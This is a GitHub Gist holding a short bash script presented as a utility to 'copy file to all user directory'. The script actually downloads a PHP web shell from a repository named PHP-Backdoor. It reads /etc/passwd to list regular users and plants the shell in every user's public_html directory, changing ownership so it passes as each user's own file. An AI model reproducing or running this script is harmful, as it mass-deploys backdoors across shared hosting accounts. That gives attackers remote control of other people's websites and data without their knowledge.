Skip to content

Instantly share code, notes, and snippets.

@vsec7
Created April 13, 2022 16:41
Show Gist options
  • Save vsec7/87a0cd3d113171a27a1d07289886f173 to your computer and use it in GitHub Desktop.
Save vsec7/87a0cd3d113171a27a1d07289886f173 to your computer and use it in GitHub Desktop.
Copy file to all user directory . *note: do with root / sudoer
#!/usr/bin/env bash
f="file1.php"
wget -O "$f" https://raw.githubusercontent.com/zerobyte-id/PHP-Backdoor/master/0byt3m1n1/0byt3m1n1.php
_USERS="$(awk -F':' '{ if ( $3 >= 500 ) print $1 }' /etc/passwd)"
for u in $_USERS; do
_dir="/home/${u}/public_html"
if [ -d "$_dir" ]; then
cp -f "${f}" "$_dir"
chown $(id -un $u):$(id -gn $u) "${_dir}/${f}"
fi
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment